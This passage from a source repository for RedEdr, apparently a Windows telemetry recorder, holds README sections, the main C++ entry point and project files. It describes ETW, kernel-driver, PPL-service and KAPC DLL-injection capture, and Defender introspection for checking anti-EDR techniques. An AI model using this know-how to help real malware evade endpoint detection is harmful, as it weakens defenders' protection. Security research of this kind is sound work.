option.\nMake a snapshot of your VM before doing this. Currently its \nnot possible to remove the PPL service ever again. \n\n```\nPS > .\\RedEdr.exe --etw --etwti --trace notepad.exe\n```\n\nIf you want ETW Microsoft-Windows-Security-Auditing, start as SYSTEM (`psexec -i -s cmd.exe`). \n\nSee `gpedit.msc -> Computer Configuration -> Windows Settings -> Security Settings -> Advanced Audit Policy Configuration -> System Audit Policies - Local Group Policy object`\nfor settings to log.\n\n\n### ntdll.dll hooking\n\nKAPC DLL injection for ntdll.dll hooking. Thats what many older EDR's depend on. \nAlso requires our own kernel module. \n\n```\nPS > .\\RedEdr.exe --hook --trace notepad.exe\n```\n\n\n\n## EDR Introspection (for Defender)\n\nThe following is useful to reverse engineer EDR's, and to verify your anti-EDR techniques\nare targeted. It will observe Defender EDR. \n\nFor more details, see Levi's blog at [My Hacker Blog](https://blog.levi.wiki/), \nand the [EDR-Introspection](https://github.com/cailllev/EDR-Introspection) project. \n\n\n### Microsoft-Antimalware-Engine ETW events\n\nArgument: `--with-antimalwareengine`\n\nExample: `.\\RedEdr.exe --etw --trace putty --web --with-antimalwareengine`\n\nThis will collect `Microsoft-Antimalware-Engine` events related to the target process. \nSee blog post [Defender Telemetry](https://blog.deeb.ch/posts/defender-telemetry/) for an overview of available events. \n\nFor example the \"Behavior Monitoring BmProcessContextStart\", which indicates Defender will start behavior monitoring on the targeted process:\n```\nBehavior Monitoring BmProcessContextStart etw etw_event_id:0x6D etw_pid:0x1524 etw_process:MsMpEng.exe etw_provider_name:Microsoft-Antimalware-Engine etw_tid:0x37A8 etw_time:0x1DCC98C2B514B90 id:0x3 trace_id:0x29\nimagepath:\\Device\\HarddiskVolume6\\toolz\\putty.exe pid:0x11F48 processcontextid:0x188F7789520\n```\n\n\n### MsMpEng.exe ETW events\n\nArgument: `--with-defendertrace`\n\nExample: `.\\RedEdr.exe --etw --etwti --trace putty --web --with-defendertrace`\n\nThis will collect `msmpeng.exe` ETW events related to our target process. \nSee blog post [Windows Telemetry](https://blog.deeb.ch/posts/windows-telemetry/) for an overview of available events. \n\nFor example \"Info\" ETW event of \"Microsoft-Windows-Kernel-Audit-API-Calls\" accessing our target process:\n```\nInfo etw etw_event_id:0x6 etw_pid:0x1524 etw_process:MsMpEng.exe etw_provider_name:Microsoft-Windows-Kernel-Audit-API-Calls etw_tid:0x21E0 etw_time:0x1DCC9BA7177FD80 id:0x1 trace_id:0x29\ndesiredaccess:0x1FFFFF returncode:0x0 targetprocessid:0x1524 targetthreatid:0x21E0\n```\n\n\n## Example Output\n\nSee `Data/` directory:\n* [Data](https://github.com/dobin/RedEdr/tree/master/Data)\n\n\n## Hacking\n\nArch:\n```\n      ┌─────┐  ┌────────┐ ┌─────────┐  ┌──────┐                            \n      │ ETW │  │ ETW-TI │ │ Kernel  │  │ DLL  │                            \n      └──┬──┘  └───┬────┘ └────┬────┘  └──┬───┘                            \n         │         │           │          │                                \n         └─────────┴─────────┬─┴──────────┘                                \n                             │                                             \n                             │                                             \n                             ▼                                             \n                     ┌────────────────┐                                    \n                     │                │                                    \nEvent as JSON string │  Event         │                                    \n                     │  Aggregator    │                                    \n                     │                │               ┌──────────┐         \n                     └───────┬────────┘               │ Process  │         \n                             │                        └──────────┘         \n                             │                             ▲               \n                             ▼                             │query          \n                     ┌────────────────┐                    │               \n                     │                │         ┌──────────┴────┐          \nEvent as JSON in C++ │  Event         ├────────►│ Process Query │          \n                     │  Processor     │         └─────────────┬─┘          \n                     │                │                       │add         \n                     └┬───────────────┘                       ▼            \n                      │                                    ┌──────────────┐\n                      │ ┌────────────────────────┐query    │              │\n                      ├─┤Event Augment           ├────────►┤  Mem Static  │\n                      │ └────────────────────────┘         │              │\n                      │ ┌────────────────────────┐add      └──────────────┘\n                      ├─┤Event Mem Tracker       ├──────┐                  \n                      │ └────────────────────────┘      │  ┌──────────────┐\n                      │ ┌────────────────────────┐query └─►│              │\n                      ├─┤Event Detection         ├───┐     │ Mem Dynamic  │\n                      │ └────────────────────────┘   └────►│              │\n                      ▼ ┌────────────────────────┐         └──────────────┘\n                      └─┤Event Storage & Output  │                         \n                        └────────────────────────┘                         \n```\n\nIPC:\n```\n  RedEdr.exe                                                                                       \n┌────────────┐                    ┌─────────────────┐                                             \n│            │   KERNEL_PIPE      │                 │    KERNEL_PIPE: Events (wchar)              \n│            │◄───────────────────┤   Kernel Module │                                             \n│ Pipe Server│                    │                 │    IOCTL: Config (MY_DRIVER_DATA):          \n│            ├───────────────────►│                 │             filename                        \n│            │   IOCTL            └─────────────────┘             enable                          \n│            │                                                                                    \n│            │                                                                                    \n│            │                                                                                    \n│            │                                                                                    \n│            │                    ┌─────────────────┐                                             \n│            │   DLL_PIPE         │                 │  DLL_PIPE: 1: Config (wchar)   RedEdr -> DLL\n│ Pipe Server│◄───────────────────┤  Injected DLL   │                 \"callstack:1;\"              \n│            │                    │                 │                                             \n│            │                    │                 │           >1: Events (wchar)   RedEdr <- DLL\n│            │                    └─────────────────┘                                             \n│            │                                                                                    \n│            │                                                                                    \n│            │                                                                                    \n│            │                    ┌─────────────────┐                                             \n│            │   PPL_PIPE         │                 │  DLL_PIPE: Events (wchar)                   \n│ Pipe Server│◄───────────────────┤  ETW-TI Service │                                             \n│            │                    │  PPL            │                                             \n│            │   SERVICE_PIPE     │                 │  SERVICE_PIPE: Config (wchar)               \n│ Pipe Client├───────────────────►│                 │                  \"start:<process name>\"     \n│            │                    └─────────────────┘                                             \n│            │                                                                                    \n│            │                    ┌─────────────────┐                                             \n│            │◄───────────────────┤                 │                                             \n│            │                    │  ETW            │                                             \n│            │                    │                 │                                             \n│            │                    │                 │                                             \n│            │                    └─────────────────┘                                             \n│            │                                                                                    \n│            │                                                                                    \n└────────────┘                                                                                    \n```\n\n\n## Compiling \n\nGood luck.\n\nUse VS2022. Compile as DEBUG.\n\nTo compile the kernel driver: \n* Install WDK (+SDK): https://learn.microsoft.com/en-us/windows-hardware/drivers/download-the-wdk\n\nIt should deploy everything into `C:\\RedEdr\\`.\n\nOn command line, use Visual Studio developer console. \n\nEverything:\n```\nrepos\\RedEdr>msbuild RedEdr.sln /p:Configuration=Debug /p:Platform=x64\n```\n\nRedEdr only:\n```\nrepos\\RedEdr>msbuild RedEdr.sln /p:Configuration=Debug /p:Platform=x64 /t:RedEdr\n```\n\n\n## Based on\n\nBased on MyDumbEdr\n* GPLv3\n* https://sensepost.com/blog/2024/sensecon-23-from-windows-drivers-to-an-almost-fully-working-edr/\n* https://github.com/sensepost/mydumbedr\n* patched https://github.com/dobin/mydumbedr\n* which seems to use: https://github.com/CCob/SylantStrike/tree/master/SylantStrike\n\nWith KAPC injection from:\n* https://github.com/0xOvid/RootkitDiaries/\n* No license\n\nTo run as PPL: \n* https://github.com/pathtofile/PPLRunner/\n* No license\n\n\n## Libraries used\n\n* https://github.com/jarro2783/cxxopts, MIT\n* https://github.com/yhirose/cpp-httplib, MIT\n* https://github.com/nlohmann/json, MIT\n"
  },
  {
    "path": "RedEdr/RedEdr.cpp",
    "content": "\n#include <windows.h>\n#include <iostream>\n#include <vector>\n\n#include \"logging.h\"\n#include \"manager.h\"\n#include \"cxxops.hpp\"\n#include \"config.h\"\n#include \"event_processor.h\"\n#include \"webserver.h\"\n#include \"kernelinterface.h\"\n#include \"pplmanager.h\"\n#include \"process_query.h\"\n#include \"privileges.h\"\n\n#include \"../Shared/common.h\"\n\n\n/* RedEdr.c: Main file\n *   Parse args\n *   Set flags in the Config object\n *   Init necessary things\n *   Start all threads (mostly through Manager)\n *   Wait for threads to exit\n */\n\n\nBOOL WINAPI ConsoleCtrlHandler(DWORD ctrlType) {\n    switch (ctrlType) {\n    case CTRL_C_EVENT:\n    case CTRL_CLOSE_EVENT:\n    case CTRL_BREAK_EVENT:\n    case CTRL_LOGOFF_EVENT:\n    case CTRL_SHUTDOWN_EVENT:\n        LOG_A(LOG_WARNING, \"\\nRedEdr: Ctrl-c detected, performing shutdown\");\n        ManagerShutdown();\n        return TRUE; // Indicate that we handled the signal\n    default:\n        return FALSE; // Let the next handler handle the signal\n    }\n}\n\n\nvoid CreateRequiredFiles() {\n    LPCWSTR dir = L\"c:\\\\rededr\\\\data\";\n    DWORD fileAttributes = GetFileAttributes(dir);\n    if (fileAttributes == INVALID_FILE_ATTRIBUTES || !(fileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {\n        std::cout << \"Directory does not exist. Creating it...\\n\";\n        if (! CreateDirectory(dir, NULL)) {\n            std::cerr << \"Failed to create directory. Error: \" << GetLastError() << \"\\n\";\n        }\n    }\n}\n\n\nint main(int argc, char* argv[]) {\n    cxxopts::Options options(\"RedEdr\", \"Maldev event recorder\");\n    options.add_options()\n        // Input\n        (\"trace\", \"Input: Process name to observe\", cxxopts::value<std::string>()->default_value(\"malware\"))\n        (\"etw\", \"Input: Consume ETW Events\", cxxopts::value<bool>()->default_value(\"false\"))\n        (\"etwti\", \"Input: Consume ETW-TI Events\", cxxopts::value<bool>()->default_value(\"false\"))\n        (\"kernel\", \"Input: Enable kernel module\", cxxopts::value<bool>()->default_value(\"false\"))\n        (\"hook\", \"Input: DLL injection/hooking\", cxxopts::value<bool>()->default_value(\"false\"))\n\n        // Input options\n        (\"with-defendertrace\", \"Input option Defender: Add MsMpEng.exe as target process\", cxxopts::value<bool>()->default_value(\"false\"))\n        (\"with-antimalwareengine\", \"Input option Defender: Grab ETW events of Microsoft-Antimalware-Engine (related to target process)\", cxxopts::value<bool>()->default_value(\"false\"))\n\n        // Output\n        (\"web\", \"Output: Web server\", cxxopts::value<bool>()->default_value(\"true\"))\n\t\t(\"port\", \"Output: Web server port\", cxxopts::value<int>()->default_value(\"8081\"))\n        (\"show\", \"Output: Show messages on stdout\", cxxopts::value<bool>()->default_value(\"false\"))\n\n        // Debug\n        (\"dllreader\", \"Debug: DLL reader but no injection (for manual injection tests)\", cxxopts::value<bool>()->default_value(\"false\"))\n        (\"krnload\", \"Debug: Kernel Module Load\", cxxopts::value<bool>()->default_value(\"false\"))\n        (\"krnunload\", \"Debug: Kernel Module Unload\", cxxopts::value<bool>()->default_value(\"false\"))\n        (\"pplstart\", \"Debug: PPL service load\", cxxopts::value<bool>()->default_value(\"false\"))\n        (\"pplstop\", \"Debug: PPL service stop\", cxxopts::value<bool>()->default_value(\"false\"))\n\n        (\"d,debug\", \"Debug: Enable debug output\", cxxopts::value<bool>()->default_value(\"false\"))\n        (\"h,help\", \"Print usage\")\n        ;\n    options.allow_unrecognised_options();\n    auto result = options.parse(argc, argv);\n\n    if (result.count(\"help\") || result.unmatched().size() > 0) {\n        printf(\"Unrecognized argument\\n\");\n        std::cout << options.help() << std::endl;\n        exit(0);\n    }\n\n    // First some debug things\n    if (result.count(\"krnload\")) {\n        LoadKernelDriver();\n        exit(0);\n    } else if (result.count(\"krnunload\")) {\n        UnloadKernelDriver();\n        exit(0);\n    }\n    else if (result.count(\"pplstart\")) {\n        InstallElamCertPpl();\n        InstallPplService();\n        exit(0);\n    }\n    else if (result.count(\"pplstop\")) {\n        // Instruct PPL service to exit itself (cant do it otherwise)\n        // Note: we can replace the exe and start it again\n        ConnectPplService();\n        ShutdownPplService();\n        exit(0);\n    }\n\n    // Store args in config\n    if (result.count(\"trace\")) {\n        std::string traceTarget = result[\"trace\"].as<std::string>();\n        g_Config.targetProcessNames = {traceTarget};\n        // ManagerApplyNewTargets(g_Config.targetProcessNames); // no need here?\n    }\n\tint port = result[\"port\"].as<int>();\n    g_Config.do_etw = result[\"etw\"].as<bool>();\n    g_Config.do_etwti = result[\"etwti\"].as<bool>();\n    if (g_Config.do_etwti) g_Config.do_kernel = true; // it works better with kernel support\n    g_Config.do_kernel = result[\"kernel\"].as<bool>();\n\tg_Config.do_hook = result[\"hook\"].as<bool>();\n    if (g_Config.do_hook) g_Config.do_kernel = true; // hook always requires kernel module\n    g_Config.debug_dllreader = result[\"dllreader\"].as<bool>();\n    g_Config.hide_full_output = ! result[\"show\"].as<bool>();\n    g_Config.web_output = result[\"web\"].as<bool>();\n\tg_Config.do_defendertrace = result[\"with-defendertrace\"].as<bool>();\n\tg_Config.do_antimalwareengine = result[\"with-antimalwareengine\"].as<bool>();\n\n    if (g_Config.do_antimalwareengine && !g_Config.do_etw) {\n        LOG_A(LOG_WARNING, \"Config: --with-antimalwareengine has no effect without --etw\");\n        return 1;\n    }\n\n    if (!g_Config.do_etw && !g_Config.do_kernel && !g_Config.do_etwti && !g_Config.debug_dllreader) {\n        printf(\"Choose at least one of --etw / --etwti / --hook\");\n        return 1;\n    }\n\n    CreateRequiredFiles();\n    InitProcessQuery();\n    g_EventProcessor.init(); // we also do it in constructor, but wont have g_Config\n\n    // All threads of all *Reader subsystems\n    std::vector<HANDLE> threads;\n    LOG_A(LOG_INFO, \"RedEdr %s\", REDEDR_VERSION);\n    if (!g_Config.targetProcessNames.empty()) {\n        std::string targets = \"\";\n        for (size_t i = 0; i < g_Config.targetProcessNames.size(); ++i) {\n            if (i > 0) targets += \", \";\n            targets += g_Config.targetProcessNames[i];\n        }\n        LOG_A(LOG_INFO, \"Config: tracing process(es): \\\"%s\\\"\", targets.c_str());\n    } else {\n        LOG_A(LOG_INFO, \"Config: no targets configured\");\n    }\n\n    // SeDebug\n    if (!PermissionMakeMeDebug()) {\n        LOG_A(LOG_ERROR, \"RedEdr: Permission error - Did you start with local admin?\");\n        return 1;\n    }\n    if (!RunsAsSystem()) {\n        LOG_A(LOG_WARNING, \"RedEdr Permissions: Not running as SYSTEM, some ETW data is not available\");\n    }\n\n    // Ctrl+C\n    if (!SetConsoleCtrlHandler(ConsoleCtrlHandler, TRUE)) {\n        LOG_A(LOG_ERROR, \"RedEdr: Failed to set control handler\");\n        return 1;\n    }\n\n    // Functionality\n    ManagerStart(threads);\n    InitializeEventProcessor(threads);\n\n    // Webserver - boot it last\n    if (g_Config.web_output) {\n        InitializeWebServer(threads, port);\n    }\n\n    // Wait for all threads to complete\n    //LOG_A(LOG_INFO, \"RedEdr: All started, waiting for %llu threads to exit\", threads.size());\n    //if (threads.empty()) {\n    //    LOG_A(LOG_WARNING, \"RedEdr: No threads to wait for\");\n    //    return 0;\n    //}\n    \n    // Log which threads we're waiting for\n    //LOG_A(LOG_INFO, \"RedEdr: Thread handles being tracked:\");\n    for (size_t i = 0; i < threads.size(); i++) {\n        LOG_A(LOG_DEBUG, \"Track Thread %zu (handle 0x%p)\", i, threads[i]);\n    }\n\n    // Wait for all threads to complete\n    LOG_A(LOG_INFO, \"RedEdr: All started, ready\");\n    DWORD res = WaitForMultipleObjects((DWORD)threads.size(), threads.data(), TRUE, INFINITE);\n    if (res == WAIT_FAILED) {\n        LOG_A(LOG_ERROR, \"RedEdr: Wait failed\");\n    }\n    LOG_A(LOG_INFO, \"RedEdr: all %llu threads finished\", threads.size());\n\n    \n    // Clean up thread handles\n    for (HANDLE thread : threads) {\n        CloseHandle(thread);\n    }\n    \n    return 0;\n}"
  },
  {
    "path": "RedEdr/RedEdr.vcxproj",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|Win32\">\n      <Configuration>Debug</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|Win32\">\n      <Configuration>Release</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <VCProjectVersion>16.0</VCProjectVersion>\n    <Keyword>Win32Proj</Keyword>\n    <ProjectGuid>{d4ab9b77-7a7b-45e8-8bdc-ac958edb1372}</ProjectGuid>\n    <RootNamespace>RedEdr</RootNamespace>\n    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"Shared\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <OutDir>C:\\RedEdr\\</OutDir>\n    <CopyLocalDeploymentContent>true</CopyLocalDeploymentContent>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <OutDir>C:\\RedEdr\\</OutDir>\n    <CopyLocalDeploymentContent>true</CopyLocalDeploymentContent>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>_DEBUG;_CONSOLE;OUTPUT_STDOUT;WIN32_LEAN_AND_MEAN;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <AdditionalIncludeDirectories>$(SolutionDir)RedEdrShared/;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n      <LanguageStandard>stdcpp17</LanguageStandard>\n      <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <AdditionalDependencies>Wtsapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>\n    </Link>\n    <PostBuildEvent>\n      <Command>powershell -ep bypass -f \"$(SolutionDir)sign_file.ps1\" \"$(SolutionDir)rededr_ppl.pfx\" \"$(TargetDir)$(TargetFileName)\"</Command>\n    </PostBuildEvent>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>UNICODE;_UNICODE;NDEBUG;_CONSOLE;OUTPUT_STDOUT;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <AdditionalIncludeDirectories>$(SolutionDir)RedEdrShared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n      <LanguageStandard>stdcpp17</LanguageStandard>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <AdditionalDependencies>Wtsapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <ClCompile Include=\"..\\RedEdrShared\\etw_krabs.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\loguru.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\piping.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\myprocess.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\process_mem_static.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\process_resolver.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\process_query.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\utils.cpp\" />\n    <ClCompile Include=\"event_aggregator.cpp\" />\n    <ClCompile Include=\"event_augmenter.cpp\" />\n    <ClCompile Include=\"event_processor.cpp\" />\n    <ClCompile Include=\"logging.cpp\" />\n    <ClCompile Include=\"manager.cpp\" />\n    <ClCompile Include=\"config.cpp\" />\n    <ClCompile Include=\"dllinjector.cpp\" />\n    <ClCompile Include=\"kernelinterface.cpp\" />\n    <ClCompile Include=\"etwreader.cpp\" />\n    <ClCompile Include=\"dllreader.cpp\" />\n    <ClCompile Include=\"kernelreader.cpp\" />\n    <ClCompile Include=\"logreader.cpp\" />\n    <ClCompile Include=\"pplmanager.cpp\" />\n    <ClCompile Include=\"pplreader.cpp\" />\n    <ClCompile Include=\"privileges.cpp\" />\n    <ClCompile Include=\"RedEdr.cpp\" />\n    <ClCompile Include=\"serviceutils.cpp\" />\n    <ClCompile Include=\"webserver.cpp\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"loguru.hpp\" />\n    <ClInclude Include=\"event_aggregator.h\" />\n    <ClInclude Include=\"event_augmenter.h\" />\n    <ClInclude Include=\"event_processor.h\" />\n    <ClInclude Include=\"jsonw.hpp\" />\n    <ClInclude Include=\"logging.h\" />\n    <ClInclude Include=\"manager.h\" />\n    <ClInclude Include=\"config.h\" />\n    <ClInclude Include=\"cxxops.hpp\" />\n    <ClInclude Include=\"dllinjector.h\" />\n    <ClInclude Include=\"kernelinterface.h\" />\n    <ClInclude Include=\"etwreader.h\" />\n    <ClInclude Include=\"httplib.h\" />\n    <ClInclude Include=\"dllreader.h\" />\n    <ClInclude Include=\"kernelreader.h\" />\n    <ClInclude Include=\"logreader.h\" />\n    <ClInclude Include=\"pplmanager.h\" />\n    <ClInclude Include=\"pplreader.h\" />\n    <ClInclude Include=\"privileges.h\" />\n    <ClInclude Include=\"serviceutils.h\" />\n    <ClInclude Include=\"webserver.h\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Text Include=\"index.html\">\n      <DeploymentContent Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">true</DeploymentContent>\n    </Text>\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"design.css\">\n      <DeploymentContent Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">true</DeploymentContent>\n    </None>\n    <None Include=\"packages.config\" />\n    <None Include=\"shared.js\">\n      <DeploymentContent Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">true</DeploymentContent>\n    </None>\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n    <Import Project=\"..\\packages\\Microsoft.O365.Security.Krabsetw.4.4.3\\build\\native\\Microsoft.O365.Security.Krabsetw.targets\" Condition=\"Exists('..\\packages\\Microsoft.O365.Security.Krabsetw.4.4.3\\build\\native\\Microsoft.O365.Security.Krabsetw.targets')\" />\n  </ImportGroup>\n  <Target Name=\"EnsureNuGetPackageBuildImports\" BeforeTargets=\"PrepareForBuild\">\n    <PropertyGroup>\n      <ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them.  For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>\n    </PropertyGroup>\n    <Error Condition=\"!Exists('..\\packages\\Microsoft.O365.Security.Krabsetw.4.4.3\\build\\native\\Microsoft.O365.Security.Krabsetw.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\packages\\Microsoft.O365.Security.Krabsetw.4.4.3\\build\\native\\Microsoft.O365.Security.Krabsetw.targets'))\" />\n  </Target>\n</Project>"
  },
  {
    "path": "RedEdr/RedEdr.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"Source Files\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"Header Files\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"Resource Files\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n    <Filter Include=\"Source Files\\input\">\n      <UniqueIdentifier>{729c11c2-6cba-4b6a-b0bc-56d18a3f3dfd}</UniqueIdentifier>\n    </Filter>\n    <Filter Include=\"Source Files\\web\">\n      <UniqueIdentifier>{81c69665-cc45-4ca7-b535-9be661578dff}</UniqueIdentifier>\n    </Filter>\n    <Filter Include=\"Header Files\\input\">\n      <UniqueIdentifier>{71afe3f2-d067-4212-afab-cd324e6885df}</UniqueIdentifier>\n    </Filter>\n    <Filter Include=\"Source Files\\process\">\n      <UniqueIdentifier>{e6905749-0e08-4e18-a4f4-4f769d79fd46}</UniqueIdentifier>\n    </Filter>\n    <Filter Include=\"Header Files\\libs\">\n      <UniqueIdentifier>{b5b02dc7-53a6-4d22-bfa6-a4102b950d4c}</UniqueIdentifier>\n    </Filter>\n    <Filter Include=\"Header Files\\process\">\n      <UniqueIdentifier>{f0d7fa81-5b59-4e94-a796-11bd411a1184}</UniqueIdentifier>\n    </Filter>\n    <Filter Include=\"Header Files\\windows\">\n      